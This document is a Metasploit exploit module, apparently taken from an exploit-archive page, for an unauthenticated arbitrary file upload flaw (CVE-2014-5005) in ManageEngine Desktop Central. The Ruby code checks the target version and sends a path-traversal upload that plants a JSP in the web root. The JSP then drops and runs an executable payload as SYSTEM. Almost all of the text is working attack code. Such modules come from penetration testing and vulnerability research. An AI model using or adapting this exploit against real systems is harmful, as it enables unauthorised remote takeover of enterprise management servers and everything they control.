ManageEngine Desktop Central StatusUpdate Arbitrary File Upload

2014-09-09 19:05:11

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'ManageEngine Desktop Central StatusUpdate Arbitrary File Upload',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability in ManageEngine DesktopCentral
v7 to v9 build 90054 (including the MSP versions).
A malicious user can upload a JSP file into the web root without authentication, leading to
arbitrary code execution as SYSTEM. Some early builds of version 7 are not exploitable as
they do not ship with a bundled Java compiler.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-5005'],
['OSVDB', '110643'],
['URL', 'http://seclists.org/fulldisclosure/2014/Aug/88'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/me_dc9_file_upload.txt']
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'Desktop Central v7 to v9 build 90054 / Windows', {} ]
],
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 31 2014'
))

register_options([Opt::RPORT(8020)], self.class)
end


# Test for Desktop Central
def check
res = send_request_cgi({
'uri' => normalize_uri("configurations.do"),
'method' => 'GET'
})

if res && res.code == 200
build = nil

if res.body.to_s =~ /ManageEngine Desktop Central 7/ ||
res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7

print_status("#{peer} - Detected Desktop Central v7")
elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ ||
res.body.to_s =~ /ManageEngine Desktop Central MSP 8/

if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v8 (later versions)
build = $1
print_status("#{peer} - Detected Desktop Central v8 #{build}")
else # DC v8 (earlier versions)
print_status("#{peer} - Detected Desktop Central v8")
end
elsif res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9 (and higher?)
build = $1
end

if build.nil?
return Exploit::CheckCode::Unknown
elsif Gem::Version.new(build) < Gem::Version.new("90055")
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end

Exploit::CheckCode::Unknown
end

def exploit
print_status("#{peer} - Uploading JSP to execute the payload")

exe = payload.encoded_exe
exe_filename = rand_text_alpha_lower(8) + ".exe"

jsp_payload = jsp_drop_and_execute(exe, exe_filename)
jsp_name = rand_text_alpha_lower(8) + ".jsp"

send_request_cgi({
'uri' => normalize_uri('statusUpdate'),
'method' => 'POST',
'data' => jsp_payload,
'ctype' => 'text/html',
'vars_get' => {
'actionToCall' => 'LFU',
'configDataID' => '1',
'customerId' => rand_text_numeric(4),
'fileName' => '../' * 6 << jsp_name
}
})
# We could check for HTTP 200 and a "success" string.
# However only some later v8 and v9 versions return this; and we don't really care
# and do a GET to the file we just uploaded anyway.

register_files_for_cleanup(exe_filename)
register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{jsp_name}")

print_status("#{peer} - Executing payload")
send_request_cgi(
{
'uri' => normalize_uri(jsp_name),
'method' => 'GET'
})
end


def jsp_drop_bin(bin_data, output_file)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|

jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|

jspraw << %Q|int numbytes = data.length();\n|

jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
jspraw << %Q|{\n|
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
jspraw << %Q| comb <<= 4;\n|
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
jspraw << %Q|}\n|

jspraw << %Q|outputstream.write(bytes);\n|
jspraw << %Q|outputstream.close();\n|
jspraw << %Q|%>\n|

jspraw
end


def jsp_execute_command(command)
jspraw = %Q|\n|
jspraw << %Q|<%\n|
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
jspraw << %Q|%>\n|

jspraw
end


def jsp_drop_and_execute(bin_data, output_file)
jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
end
end

Fixes

No fixes

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